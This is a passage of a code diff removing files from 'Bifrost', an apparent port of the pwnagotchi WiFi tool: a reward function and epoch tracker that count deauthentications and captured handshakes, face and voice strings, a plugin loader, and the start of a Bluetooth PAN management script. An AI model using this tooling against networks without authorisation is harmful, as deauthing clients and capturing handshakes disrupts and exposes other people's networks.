"""Minimal pwnagotchi.utils shim."""
|
||||
mod = types.ModuleType('pwnagotchi.utils')
|
||||
|
||||
def secs_to_hhmmss(secs):
|
||||
h = int(secs // 3600)
|
||||
m = int((secs % 3600) // 60)
|
||||
s = int(secs % 60)
|
||||
return "%d:%02d:%02d" % (h, m, s)
|
||||
|
||||
def iface_channels(iface):
|
||||
"""Return available channels for interface."""
|
||||
try:
|
||||
import subprocess
|
||||
out = subprocess.check_output(
|
||||
['iwlist', iface, 'channel'],
|
||||
stderr=subprocess.DEVNULL, timeout=5
|
||||
).decode()
|
||||
channels = []
|
||||
for line in out.split('\n'):
|
||||
if 'Channel' in line and 'Current' not in line:
|
||||
parts = line.strip().split()
|
||||
for p in parts:
|
||||
try:
|
||||
ch = int(p)
|
||||
if 1 <= ch <= 14:
|
||||
channels.append(ch)
|
||||
except ValueError:
|
||||
continue
|
||||
return sorted(set(channels)) if channels else list(range(1, 15))
|
||||
except Exception:
|
||||
return list(range(1, 15))
|
||||
|
||||
def total_unique_handshakes(path):
|
||||
"""Count unique handshake files in directory."""
|
||||
import glob as _glob
|
||||
if not os.path.isdir(path):
|
||||
return 0
|
||||
return len(_glob.glob(os.path.join(path, '*.pcap')))
|
||||
|
||||
mod.secs_to_hhmmss = secs_to_hhmmss
|
||||
mod.iface_channels = iface_channels
|
||||
mod.total_unique_handshakes = total_unique_handshakes
|
||||
return mod
|
||||
@@ -1,292 +0,0 @@
|
||||
"""epoch.py - Bifrost epoch tracking and reward signals.
|
||||
|
||||
Ported from pwnagotchi/ai/epoch.py + pwnagotchi/ai/reward.py.
|
||||
"""
|
||||
import time
|
||||
import threading
|
||||
import logging
|
||||
import os
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="bifrost.epoch", level=logging.DEBUG)
|
||||
|
||||
NUM_CHANNELS = 14 # 2.4 GHz channels
|
||||
|
||||
|
||||
# ── Reward function (from pwnagotchi/ai/reward.py) ──────────────
|
||||
|
||||
class RewardFunction:
|
||||
"""Reward signal for RL - higher is better."""
|
||||
|
||||
def __call__(self, epoch_n, state):
|
||||
eps = 1e-20
|
||||
tot_epochs = epoch_n + eps
|
||||
tot_interactions = max(
|
||||
state['num_deauths'] + state['num_associations'],
|
||||
state['num_handshakes']
|
||||
) + eps
|
||||
tot_channels = NUM_CHANNELS
|
||||
|
||||
# Positive signals
|
||||
h = state['num_handshakes'] / tot_interactions
|
||||
a = 0.2 * (state['active_for_epochs'] / tot_epochs)
|
||||
c = 0.1 * (state['num_hops'] / tot_channels)
|
||||
|
||||
# Negative signals
|
||||
b = -0.3 * (state['blind_for_epochs'] / tot_epochs)
|
||||
m = -0.3 * (state['missed_interactions'] / tot_interactions)
|
||||
i = -0.2 * (state['inactive_for_epochs'] / tot_epochs)
|
||||
|
||||
_sad = state['sad_for_epochs'] if state['sad_for_epochs'] >= 5 else 0
|
||||
_bored = state['bored_for_epochs'] if state['bored_for_epochs'] >= 5 else 0
|
||||
s = -0.2 * (_sad / tot_epochs)
|
||||
l_val = -0.1 * (_bored / tot_epochs)
|
||||
|
||||
return h + a + c + b + i + m + s + l_val
|
||||
|
||||
|
||||
# ── Epoch state ──────────────────────────────────────────────────
|
||||
|
||||
class BifrostEpoch:
|
||||
"""Tracks per-epoch counters, observations, and reward."""
|
||||
|
||||
def __init__(self, config):
|
||||
self.epoch = 0
|
||||
self.config = config
|
||||
|
||||
# Consecutive epoch counters
|
||||
self.inactive_for = 0
|
||||
self.active_for = 0
|
||||
self.blind_for = 0
|
||||
self.sad_for = 0
|
||||
self.bored_for = 0
|
||||
|
||||
# Per-epoch action flags & counters
|
||||
self.did_deauth = False
|
||||
self.num_deauths = 0
|
||||
self.did_associate = False
|
||||
self.num_assocs = 0
|
||||
self.num_missed = 0
|
||||
self.did_handshakes = False
|
||||
self.num_shakes = 0
|
||||
self.num_hops = 0
|
||||
self.num_slept = 0
|
||||
self.num_peers = 0
|
||||
self.tot_bond_factor = 0.0
|
||||
self.avg_bond_factor = 0.0
|
||||
self.any_activity = False
|
||||
|
||||
# Timing
|
||||
self.epoch_started = time.time()
|
||||
self.epoch_duration = 0
|
||||
|
||||
# Channel histograms for AI observation
|
||||
self.non_overlapping_channels = {1: 0, 6: 0, 11: 0}
|
||||
self._observation = {
|
||||
'aps_histogram': [0.0] * NUM_CHANNELS,
|
||||
'sta_histogram': [0.0] * NUM_CHANNELS,
|
||||
'peers_histogram': [0.0] * NUM_CHANNELS,
|
||||
}
|
||||
self._observation_ready = threading.Event()
|
||||
self._epoch_data = {}
|
||||
self._epoch_data_ready = threading.Event()
|
||||
self._reward = RewardFunction()
|
||||
|
||||
def wait_for_epoch_data(self, with_observation=True, timeout=None):
|
||||
self._epoch_data_ready.wait(timeout)
|
||||
self._epoch_data_ready.clear()
|
||||
if with_observation:
|
||||
return {**self._observation, **self._epoch_data}
|
||||
return self._epoch_data
|
||||
|
||||
def data(self):
|
||||
return self._epoch_data
|
||||
|
||||
def observe(self, aps, peers):
|
||||
"""Update observation histograms from current AP/peer lists."""
|
||||
num_aps = len(aps)
|
||||
if num_aps == 0:
|
||||
self.blind_for += 1
|
||||
else:
|
||||
self.blind_for = 0
|
||||
|
||||
bond_unit_scale = self.config.get('bifrost_personality_bond_factor', 20000)
|
||||
self.num_peers = len(peers)
|
||||
num_peers = self.num_peers + 1e-10
|
||||
|
||||
self.tot_bond_factor = sum(
|
||||
p.get('encounters', 0) if isinstance(p, dict) else getattr(p, 'encounters', 0)
|
||||
for p in peers
|
||||
) / bond_unit_scale
|
||||
self.avg_bond_factor = self.tot_bond_factor / num_peers
|
||||
|
||||
num_aps_f = len(aps) + 1e-10
|
||||
num_sta = sum(len(ap.get('clients', [])) for ap in aps) + 1e-10
|
||||
aps_per_chan = [0.0] * NUM_CHANNELS
|
||||
sta_per_chan = [0.0] * NUM_CHANNELS
|
||||
peers_per_chan = [0.0] * NUM_CHANNELS
|
||||
|
||||
for ap in aps:
|
||||
ch_idx = ap.get('channel', 1) - 1
|
||||
if 0 <= ch_idx < NUM_CHANNELS:
|
||||
aps_per_chan[ch_idx] += 1.0
|
||||
sta_per_chan[ch_idx] += len(ap.get('clients', []))
|
||||
|
||||
for peer in peers:
|
||||
ch = peer.get('last_channel', 0) if isinstance(peer, dict) else getattr(peer, 'last_channel', 0)
|
||||
ch_idx = ch - 1
|
||||
if 0 <= ch_idx < NUM_CHANNELS:
|
||||
peers_per_chan[ch_idx] += 1.0
|
||||
|
||||
# Normalize
|
||||
aps_per_chan = [e / num_aps_f for e in aps_per_chan]
|
||||
sta_per_chan = [e / num_sta for e in sta_per_chan]
|
||||
peers_per_chan = [e / num_peers for e in peers_per_chan]
|
||||
|
||||
self._observation = {
|
||||
'aps_histogram': aps_per_chan,
|
||||
'sta_histogram': sta_per_chan,
|
||||
'peers_histogram': peers_per_chan,
|
||||
}
|
||||
self._observation_ready.set()
|
||||
|
||||
def track(self, deauth=False, assoc=False, handshake=False,
|
||||
hop=False, sleep=False, miss=False, inc=1):
|
||||
"""Increment epoch counters."""
|
||||
if deauth:
|
||||
self.num_deauths += inc
|
||||
self.did_deauth = True
|
||||
self.any_activity = True
|
||||
|
||||
if assoc:
|
||||
self.num_assocs += inc
|
||||
self.did_associate = True
|
||||
self.any_activity = True
|
||||
|
||||
if miss:
|
||||
self.num_missed += inc
|
||||
|
||||
if hop:
|
||||
self.num_hops += inc
|
||||
# Reset per-channel flags on hop
|
||||
self.did_deauth = False
|
||||
self.did_associate = False
|
||||
|
||||
if handshake:
|
||||
self.num_shakes += inc
|
||||
self.did_handshakes = True
|
||||
|
||||
if sleep:
|
||||
self.num_slept += inc
|
||||
|
||||
def next(self):
|
||||
"""Transition to next epoch - compute reward, update streaks, reset counters."""
|
||||
# Update activity streaks
|
||||
if not self.any_activity and not self.did_handshakes:
|
||||
self.inactive_for += 1
|
||||
self.active_for = 0
|
||||
else:
|
||||
self.active_for += 1
|
||||
self.inactive_for = 0
|
||||
self.sad_for = 0
|
||||
self.bored_for = 0
|
||||
|
||||
sad_threshold = self.config.get('bifrost_personality_sad_epochs', 25)
|
||||
bored_threshold = self.config.get('bifrost_personality_bored_epochs', 15)
|
||||
|
||||
if self.inactive_for >= sad_threshold:
|
||||
self.bored_for = 0
|
||||
self.sad_for += 1
|
||||
elif self.inactive_for >= bored_threshold:
|
||||
self.sad_for = 0
|
||||
self.bored_for += 1
|
||||
else:
|
||||
self.sad_for = 0
|
||||
self.bored_for = 0
|
||||
|
||||
now = time.time()
|
||||
self.epoch_duration = now - self.epoch_started
|
||||
|
||||
# System metrics
|
||||
cpu = _cpu_load()
|
||||
mem = _mem_usage()
|
||||
temp = _temperature()
|
||||
|
||||
# Cache epoch data for other threads
|
||||
self._epoch_data = {
|
||||
'duration_secs': self.epoch_duration,
|
||||
'slept_for_secs': self.num_slept,
|
||||
'blind_for_epochs': self.blind_for,
|
||||
'inactive_for_epochs': self.inactive_for,
|
||||
'active_for_epochs': self.active_for,
|
||||
'sad_for_epochs': self.sad_for,
|
||||
'bored_for_epochs': self.bored_for,
|
||||
'missed_interactions': self.num_missed,
|
||||
'num_hops': self.num_hops,
|
||||
'num_peers': self.num_peers,
|
||||
'tot_bond': self.tot_bond_factor,
|
||||
'avg_bond': self.avg_bond_factor,
|
||||
'num_deauths': self.num_deauths,
|
||||
'num_associations': self.num_assocs,
|
||||
'num_handshakes': self.num_shakes,
|
||||
'cpu_load': cpu,
|
||||
'mem_usage': mem,
|
||||
'temperature': temp,
|
||||
}
|
||||
self._epoch_data['reward'] = self._reward(self.epoch + 1, self._epoch_data)
|
||||
self._epoch_data_ready.set()
|
||||
|
||||
logger.info(
|
||||
"[epoch %d] dur=%ds blind=%d sad=%d bored=%d inactive=%d active=%d "
|
||||
"hops=%d missed=%d deauths=%d assocs=%d shakes=%d reward=%.3f",
|
||||
self.epoch, int(self.epoch_duration), self.blind_for,
|
||||
self.sad_for, self.bored_for, self.inactive_for, self.active_for,
|
||||
self.num_hops, self.num_missed, self.num_deauths, self.num_assocs,
|
||||
self.num_shakes, self._epoch_data['reward'],
|
||||
)
|
||||
|
||||
# Reset for next epoch
|
||||
self.epoch += 1
|
||||
self.epoch_started = now
|
||||
self.did_deauth = False
|
||||
self.num_deauths = 0
|
||||
self.num_peers = 0
|
||||
self.tot_bond_factor = 0.0
|
||||
self.avg_bond_factor = 0.0
|
||||
self.did_associate = False
|
||||
self.num_assocs = 0
|
||||
self.num_missed = 0
|
||||
self.did_handshakes = False
|
||||
self.num_shakes = 0
|
||||
self.num_hops = 0
|
||||
self.num_slept = 0
|
||||
self.any_activity = False
|
||||
|
||||
|
||||
# ── System metric helpers ────────────────────────────────────────
|
||||
|
||||
def _cpu_load():
|
||||
try:
|
||||
return os.getloadavg()[0]
|
||||
except (OSError, AttributeError):
|
||||
return 0.0
|
||||
|
||||
|
||||
def _mem_usage():
|
||||
try:
|
||||
with open('/proc/meminfo', 'r') as f:
|
||||
lines = f.readlines()
|
||||
total = int(lines[0].split()[1])
|
||||
available = int(lines[2].split()[1])
|
||||
return (total - available) / total if total else 0.0
|
||||
except Exception:
|
||||
return 0.0
|
||||
|
||||
|
||||
def _temperature():
|
||||
try:
|
||||
with open('/sys/class/thermal/thermal_zone0/temp', 'r') as f:
|
||||
return int(f.read().strip()) / 1000.0
|
||||
except Exception:
|
||||
return 0.0
|
||||
@@ -1,66 +0,0 @@
|
||||
"""faces.py - Bifrost ASCII face definitions.
|
||||
|
||||
Ported from pwnagotchi/ui/faces.py with full face set.
|
||||
"""
|
||||
|
||||
LOOK_R = '( \u2686_\u2686)'
|
||||
LOOK_L = '(\u2609_\u2609 )'
|
||||
LOOK_R_HAPPY = '( \u25d5\u203f\u25d5)'
|
||||
LOOK_L_HAPPY = '(\u25d5\u203f\u25d5 )'
|
||||
SLEEP = '(\u21c0\u203f\u203f\u21bc)'
|
||||
SLEEP2 = '(\u2256\u203f\u203f\u2256)'
|
||||
AWAKE = '(\u25d5\u203f\u203f\u25d5)'
|
||||
BORED = '(-__-)'
|
||||
INTENSE = '(\u00b0\u25c3\u25c3\u00b0)'
|
||||
COOL = '(\u2310\u25a0_\u25a0)'
|
||||
HAPPY = '(\u2022\u203f\u203f\u2022)'
|
||||
GRATEFUL = '(^\u203f\u203f^)'
|
||||
EXCITED = '(\u1d54\u25e1\u25e1\u1d54)'
|
||||
MOTIVATED = '(\u263c\u203f\u203f\u263c)'
|
||||
DEMOTIVATED = '(\u2256__\u2256)'
|
||||
SMART = '(\u271c\u203f\u203f\u271c)'
|
||||
LONELY = '(\u0628__\u0628)'
|
||||
SAD = '(\u2565\u2601\u2565 )'
|
||||
ANGRY = "(-_-')"
|
||||
FRIEND = '(\u2665\u203f\u203f\u2665)'
|
||||
BROKEN = '(\u2613\u203f\u203f\u2613)'
|
||||
DEBUG = '(#__#)'
|
||||
UPLOAD = '(1__0)'
|
||||
UPLOAD1 = '(1__1)'
|
||||
UPLOAD2 = '(0__1)'
|
||||
STARTING = '(. .)'
|
||||
READY = '( ^_^)'
|
||||
|
||||
# Map mood name → face constant
|
||||
MOOD_FACES = {
|
||||
'starting': STARTING,
|
||||
'ready': READY,
|
||||
'sleeping': SLEEP,
|
||||
'awake': AWAKE,
|
||||
'bored': BORED,
|
||||
'sad': SAD,
|
||||
'angry': ANGRY,
|
||||
'excited': EXCITED,
|
||||
'lonely': LONELY,
|
||||
'grateful': GRATEFUL,
|
||||
'happy': HAPPY,
|
||||
'cool': COOL,
|
||||
'intense': INTENSE,
|
||||
'motivated': MOTIVATED,
|
||||
'demotivated': DEMOTIVATED,
|
||||
'friend': FRIEND,
|
||||
'broken': BROKEN,
|
||||
'debug': DEBUG,
|
||||
'smart': SMART,
|
||||
}
|
||||
|
||||
|
||||
def load_from_config(config):
|
||||
"""Override faces from config dict (e.g. custom emojis)."""
|
||||
for face_name, face_value in (config or {}).items():
|
||||
key = face_name.upper()
|
||||
if key in globals():
|
||||
globals()[key] = face_value
|
||||
lower = face_name.lower()
|
||||
if lower in MOOD_FACES:
|
||||
MOOD_FACES[lower] = face_value
|
||||
@@ -1,197 +0,0 @@
|
||||
"""plugins.py - Bifrost plugin system.
|
||||
|
||||
Ported from pwnagotchi/plugins/__init__.py with ThreadPoolExecutor.
|
||||
"""
|
||||
import os
|
||||
import glob
|
||||
import threading
|
||||
import importlib
|
||||
import importlib.util
|
||||
import logging
|
||||
import concurrent.futures
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="bifrost.plugins", level=logging.DEBUG)
|
||||
|
||||
default_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "plugins")
|
||||
loaded = {}
|
||||
database = {}
|
||||
locks = {}
|
||||
|
||||
_executor = concurrent.futures.ThreadPoolExecutor(
|
||||
max_workers=4, thread_name_prefix="BifrostPlugin"
|
||||
)
|
||||
|
||||
|
||||
class Plugin:
|
||||
"""Base class for Bifrost/Pwnagotchi plugins.
|
||||
|
||||
Subclasses are auto-registered via __init_subclass__.
|
||||
"""
|
||||
__author__ = 'unknown'
|
||||
__version__ = '0.0.0'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = ''
|
||||
__name__ = ''
|
||||
__help__ = ''
|
||||
__dependencies__ = []
|
||||
__defaults__ = {}
|
||||
|
||||
def __init__(self):
|
||||
self.options = {}
|
||||
|
||||
@classmethod
|
||||
def __init_subclass__(cls, **kwargs):
|
||||
super().__init_subclass__(**kwargs)
|
||||
global loaded, locks
|
||||
|
||||
plugin_name = cls.__module__.split('.')[0]
|
||||
plugin_instance = cls()
|
||||
logger.debug("loaded plugin %s as %s", plugin_name, plugin_instance)
|
||||
loaded[plugin_name] = plugin_instance
|
||||
|
||||
for attr_name in dir(plugin_instance):
|
||||
if attr_name.startswith('on_'):
|
||||
cb = getattr(plugin_instance, attr_name, None)
|
||||
if cb is not None and callable(cb):
|
||||
locks["%s::%s" % (plugin_name, attr_name)] = threading.Lock()
|
||||
|
||||
|
||||
def toggle_plugin(name, enable=True):
|
||||
"""Enable or disable a plugin at runtime. Returns True if state changed."""
|
||||
global loaded, database
|
||||
|
||||
if not enable and name in loaded:
|
||||
try:
|
||||
if hasattr(loaded[name], 'on_unload'):
|
||||
loaded[name].on_unload()
|
||||
except Exception as e:
|
||||
logger.warning("Error unloading plugin %s: %s", name, e)
|
||||
del loaded[name]
|
||||
return True
|
||||
|
||||
if enable and name in database and name not in loaded:
|
||||
try:
|
||||
load_from_file(database[name])
|
||||
if name in loaded:
|
||||
one(name, 'loaded')
|
||||
return True
|
||||
except Exception as e:
|
||||
logger.warning("Error loading plugin %s: %s", name, e)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def on(event_name, *args, **kwargs):
|
||||
"""Dispatch event to ALL loaded plugins."""
|
||||
for plugin_name in list(loaded.keys()):
|
||||
one(plugin_name, event_name, *args, **kwargs)
|
||||
|
||||
|
||||
def _locked_cb(lock_name, cb, *args, **kwargs):
|
||||
"""Execute callback under its per-plugin lock."""
|
||||
global locks
|
||||
if lock_name not in locks:
|
||||
locks[lock_name] = threading.Lock()
|
||||
with locks[lock_name]:
|
||||
cb(*args, **kwargs)
|
||||
|
||||
|
||||
def one(plugin_name, event_name, *args, **kwargs):
|
||||
"""Dispatch event to a single plugin (thread-safe)."""
|
||||
global loaded
|
||||
if plugin_name in loaded:
|
||||
plugin = loaded[plugin_name]
|
||||
cb_name = 'on_%s' % event_name
|
||||
callback = getattr(plugin, cb_name, None)
|
||||
if callback is not None and callable(callback):
|
||||
try:
|
||||
lock_name = "%s::%s" % (plugin_name, cb_name)
|
||||
_executor.submit(_locked_cb, lock_name, callback, *args, **kwargs)
|
||||
except Exception as e:
|
||||
logger.error("error running %s.%s: %s", plugin_name, cb_name, e)
|
||||
|
||||
|
||||
def load_from_file(filename):
|
||||
"""Load a single plugin file."""
|
||||
logger.debug("loading %s", filename)
|
||||
plugin_name = os.path.basename(filename.replace(".py", ""))
|
||||
spec = importlib.util.spec_from_file_location(plugin_name, filename)
|
||||
instance = importlib.util.module_from_spec(spec)
|
||||
spec.loader.exec_module(instance)
|
||||
return plugin_name, instance
|
||||
|
||||
|
||||
def load_from_path(path, enabled=()):
|
||||
"""Scan a directory for plugins, load enabled ones."""
|
||||
global loaded, database
|
||||
if not path or not os.path.isdir(path):
|
||||
return loaded
|
||||
|
||||
logger.debug("loading plugins from %s - enabled: %s", path, enabled)
|
||||
for filename in glob.glob(os.path.join(path, "*.py")):
|
||||
plugin_name = os.path.basename(filename.replace(".py", ""))
|
||||
database[plugin_name] = filename
|
||||
if plugin_name in enabled:
|
||||
try:
|
||||
load_from_file(filename)
|
||||
except Exception as e:
|
||||
logger.warning("error loading %s: %s", filename, e)
|
||||
|
||||
return loaded
|
||||
|
||||
|
||||
def load(config):
|
||||
"""Load plugins from default + custom paths based on config."""
|
||||
plugins_cfg = config.get('bifrost_plugins', {})
|
||||
enabled = [
|
||||
name for name, opts in plugins_cfg.items()
|
||||
if isinstance(opts, dict) and opts.get('enabled', False)
|
||||
]
|
||||
|
||||
# Load from default path (bifrost/plugins/)
|
||||
if os.path.isdir(default_path):
|
||||
load_from_path(default_path, enabled=enabled)
|
||||
|
||||
# Load from custom path
|
||||
custom_path = config.get('bifrost_plugins_path', '')
|
||||
if custom_path and os.path.isdir(custom_path):
|
||||
load_from_path(custom_path, enabled=enabled)
|
||||
|
||||
# Propagate options
|
||||
for name, plugin in loaded.items():
|
||||
if name in plugins_cfg:
|
||||
plugin.options = plugins_cfg[name]
|
||||
|
||||
on('loaded')
|
||||
on('config_changed', config)
|
||||
|
||||
|
||||
def get_loaded_info():
|
||||
"""Return list of loaded plugin info dicts for web API."""
|
||||
result = []
|
||||
for name, plugin in loaded.items():
|
||||
result.append({
|
||||
'name': name,
|
||||
'enabled': True,
|
||||
'author': getattr(plugin, '__author__', 'unknown'),
|
||||
'version': getattr(plugin, '__version__', '0.0.0'),
|
||||
'description': getattr(plugin, '__description__', ''),
|
||||
})
|
||||
# Also include known-but-not-loaded plugins
|
||||
for name, path in database.items():
|
||||
if name not in loaded:
|
||||
result.append({
|
||||
'name': name,
|
||||
'enabled': False,
|
||||
'author': '',
|
||||
'version': '',
|
||||
'description': '',
|
||||
})
|
||||
return result
|
||||
|
||||
|
||||
def shutdown():
|
||||
"""Clean shutdown of plugin system."""
|
||||
_executor.shutdown(wait=False)
|
||||
@@ -1,155 +0,0 @@
|
||||
"""voice.py - Bifrost voice / status messages.
|
||||
|
||||
Ported from pwnagotchi/voice.py, uses random choice for personality.
|
||||
"""
|
||||
import random
|
||||
|
||||
|
||||
class BifrostVoice:
|
||||
"""Returns random contextual messages for the Bifrost UI."""
|
||||
|
||||
def on_starting(self):
|
||||
return random.choice([
|
||||
"Hi, I'm Bifrost! Starting ...",
|
||||
"New day, new hunt, new pwns!",
|
||||
"Hack the Planet!",
|
||||
"Initializing WiFi recon ...",
|
||||
])
|
||||
|
||||
def on_ready(self):
|
||||
return random.choice([
|
||||
"Ready to roll!",
|
||||
"Let's find some handshakes!",
|
||||
"WiFi recon active.",
|
||||
])
|
||||
|
||||
def on_ai_ready(self):
|
||||
return random.choice([
|
||||
"AI ready.",
|
||||
"The neural network is ready.",
|
||||
])
|
||||
|
||||
def on_normal(self):
|
||||
return random.choice(['', '...'])
|
||||
|
||||
def on_free_channel(self, channel):
|
||||
return f"Hey, channel {channel} is free!"
|
||||
|
||||
def on_bored(self):
|
||||
return random.choice([
|
||||
"I'm bored ...",
|
||||
"Let's go for a walk!",
|
||||
"Nothing interesting around here ...",
|
||||
])
|
||||
|
||||
def on_motivated(self, reward):
|
||||
return "This is the best day of my life!"
|
||||
|
||||
def on_demotivated(self, reward):
|
||||
return "Shitty day :/"
|
||||
|
||||
def on_sad(self):
|
||||
return random.choice([
|
||||
"I'm extremely bored ...",
|
||||
"I'm very sad ...",
|
||||
"I'm sad",
|
||||
"...",
|
||||
])
|
||||
|
||||
def on_angry(self):
|
||||
return random.choice([
|
||||
"...",
|
||||
"Leave me alone ...",
|
||||
"I'm mad at you!",
|
||||
])
|
||||
|
||||
def on_excited(self):
|
||||
return random.choice([
|
||||
"I'm living the life!",
|
||||
"I pwn therefore I am.",
|
||||
"So many networks!!!",
|
||||
"I'm having so much fun!",
|
||||
"My crime is that of curiosity ...",
|
||||
])
|
||||
|
||||
def on_new_peer(self, peer_name, first_encounter=False):
|
||||
if first_encounter:
|
||||
return f"Hello {peer_name}! Nice to meet you."
|
||||
return random.choice([
|
||||
f"Yo {peer_name}! Sup?",
|
||||
f"Hey {peer_name} how are you doing?",
|
||||
f"Unit {peer_name} is nearby!",
|
||||
])
|
||||
|
||||
def on_lost_peer(self, peer_name):
|
||||
return random.choice([
|
||||
f"Uhm ... goodbye {peer_name}",
|
||||
f"{peer_name} is gone ...",
|
||||
])
|
||||
|
||||
def on_miss(self, who):
|
||||
return random.choice([
|
||||
f"Whoops ... {who} is gone.",
|
||||
f"{who} missed!",
|
||||
"Missed!",
|
||||
])
|
||||
|
||||
def on_grateful(self):
|
||||
return random.choice([
|
||||
"Good friends are a blessing!",
|
||||
"I love my friends!",
|
||||
])
|
||||
|
||||
def on_lonely(self):
|
||||
return random.choice([
|
||||
"Nobody wants to play with me ...",
|
||||
"I feel so alone ...",
|
||||
"Where's everybody?!",
|
||||
])
|
||||
|
||||
def on_napping(self, secs):
|
||||
return random.choice([
|
||||
f"Napping for {secs}s ...",
|
||||
"Zzzzz",
|
||||
f"ZzzZzzz ({secs}s)",
|
||||
])
|
||||
|
||||
def on_shutdown(self):
|
||||
return random.choice(["Good night.", "Zzz"])
|
||||
|
||||
def on_awakening(self):
|
||||
return random.choice(["...", "!"])
|
||||
|
||||
def on_waiting(self, secs):
|
||||
return random.choice([
|
||||
f"Waiting for {secs}s ...",
|
||||
"...",
|
||||
f"Looking around ({secs}s)",
|
||||
])
|
||||
|
||||
def on_assoc(self, ap_name):
|
||||
return random.choice([
|
||||
f"Hey {ap_name} let's be friends!",
|
||||
f"Associating to {ap_name}",
|
||||
f"Yo {ap_name}!",
|
||||
])
|
||||
|
||||
def on_deauth(self, sta_mac):
|
||||
return random.choice([
|
||||
f"Just decided that {sta_mac} needs no WiFi!",
|
||||
f"Deauthenticating {sta_mac}",
|
||||
f"Kickbanning {sta_mac}!",
|
||||
])
|
||||
|
||||
def on_handshakes(self, new_shakes):
|
||||
s = 's' if new_shakes > 1 else ''
|
||||
return f"Cool, we got {new_shakes} new handshake{s}!"
|
||||
|
||||
def on_rebooting(self):
|
||||
return "Oops, something went wrong ... Rebooting ..."
|
||||
|
||||
def on_epoch(self, epoch_num):
|
||||
return random.choice([
|
||||
f"Epoch {epoch_num} complete.",
|
||||
f"Finished epoch {epoch_num}.",
|
||||
])
|
||||
@@ -1,821 +0,0 @@
|
||||
#!/bin/bash
|
||||
# bjorn_bluetooth.sh
|
||||
# Runtime manager for the BJORN Bluetooth PAN stack
|
||||
# Usage:
|
||||
# ./bjorn_bluetooth.sh -u Bring Bluetooth PAN services up
|
||||
# ./bjorn_bluetooth.sh -d Bring Bluetooth PAN services down
|
||||
# ./bjorn_bluetooth.sh -r Reset Bluetooth PAN services
|
||||
# ./bjorn_bluetooth.sh -l Show detailed Bluetooth status
|
||||
# ./bjorn_bluetooth.sh -s Scan nearby Bluetooth devices
|
||||
# ./bjorn_bluetooth.sh -p Launch pairing assistant
|
||||
# ./bjorn_bluetooth.sh -c Connect now to configured target
|
||||
# ./bjorn_bluetooth.sh -t Trust a known device
|
||||
# ./bjorn_bluetooth.sh -x Disconnect current PAN session
|
||||
# ./bjorn_bluetooth.sh -f Forget/remove a known device
|
||||
# ./bjorn_bluetooth.sh -h Show help
|
||||
#
|
||||
# Notes:
|
||||
# This script no longer installs or removes Bluetooth PAN.
|
||||
# Installation is handled by the BJORN installer.
|
||||
# This tool is for runtime diagnostics, pairing, trust, connect, and recovery.
|
||||
|
||||
set -u
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
SCRIPT_VERSION="2.0"
|
||||
BJORN_USER="bjorn"
|
||||
BT_SETTINGS_DIR="/home/${BJORN_USER}/.settings_bjorn"
|
||||
BT_CONFIG="${BT_SETTINGS_DIR}/bt.json"
|
||||
AUTO_BT_SCRIPT="/usr/local/bin/auto_bt_connect.py"
|
||||
AUTO_BT_SERVICE="auto_bt_connect.service"
|
||||
BLUETOOTH_SERVICE="bluetooth.service"
|
||||
LOG_DIR="/var/log/bjorn_install"
|
||||
LOG_FILE="$LOG_DIR/bjorn_bluetooth_$(date +%Y%m%d_%H%M%S).log"
|
||||
|
||||
mkdir -p "$LOG_DIR" 2>/dev/null || true
|
||||
touch "$LOG_FILE" 2>/dev/null || true
|
||||
|
||||
log() {
|
||||
local level="$1"
|
||||
shift
|
||||
local message="[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $*"
|
||||
local color="$NC"
|
||||
|
||||
case "$level" in
|
||||
ERROR) color="$RED" ;;
|
||||
SUCCESS) color="$GREEN" ;;
|
||||
WARNING) color="$YELLOW" ;;
|
||||
INFO) color="$BLUE" ;;
|
||||
SECTION) color="$CYAN" ;;
|
||||
esac
|
||||
|
||||
printf '%s\n' "$message" >> "$LOG_FILE" 2>/dev/null || true
|
||||
printf '%b%s%b\n' "$color" "$message" "$NC"
|
||||
}
|
||||
|
||||
print_divider() {
|
||||
printf '%b%s%b\n' "$CYAN" "============================================================" "$NC"
|
||||
}
|
||||
|
||||
ensure_root() {
|
||||
if [ "$(id -u)" -ne 0 ]; then
|
||||
log "ERROR" "This command must be run as root. Please use sudo."
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
service_exists() {
|
||||
systemctl list-unit-files --type=service 2>/dev/null | grep -q "^$1"
|
||||
}
|
||||
|
||||
service_active() {
|
||||
systemctl is-active --quiet "$1"
|
||||
}
|
||||
|
||||
service_enabled() {
|
||||
systemctl is-enabled --quiet "$1"
|
||||
}
|
||||
|
||||
bnep0_exists() {
|
||||
ip link show bnep0 >/dev/null 2>&1
|
||||
}
|
||||
|
||||
wait_for_condition() {
|
||||
local description="$1"
|
||||
local attempts="$2"
|
||||
shift 2
|
||||
|
||||
local i=1
|
||||
while [ "$i" -le "$attempts" ]; do
|
||||
if "$@"; then
|
||||
log "SUCCESS" "$description"
|
||||
return 0
|
||||
fi
|
||||
log "INFO" "Waiting for $description ($i/$attempts)..."
|
||||
sleep 1
|
||||
i=$((i + 1))
|
||||
done
|
||||
|
||||
log "WARNING" "$description not reached after ${attempts}s"
|
||||
return 1
|
||||
}
|
||||
|
||||
show_recent_logs() {
|
||||
if command -v journalctl >/dev/null 2>&1; then
|
||||
if service_exists "$AUTO_BT_SERVICE"; then
|
||||
log "INFO" "Recent ${AUTO_BT_SERVICE} logs:"
|
||||
journalctl -u "$AUTO_BT_SERVICE" -n 20 --no-pager 2>/dev/null || true
|
||||
fi
|
||||
if service_exists "$BLUETOOTH_SERVICE"; then
|
||||
log "INFO" "Recent ${BLUETOOTH_SERVICE} logs:"
|
||||
journalctl -u "$BLUETOOTH_SERVICE" -n 10 --no-pager 2>/dev/null || true
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
run_btctl() {
|
||||
local output
|
||||
output="$(printf '%s\n' "$@" "quit" | bluetoothctl 2>&1)"
|
||||
printf '%s\n' "$output" >> "$LOG_FILE" 2>/dev/null || true
|
||||
printf '%s\n' "$output"
|
||||
}
|
||||
|
||||
bluetooth_power_on() {
|
||||
ensure_root
|
||||
if ! service_active "$BLUETOOTH_SERVICE"; then
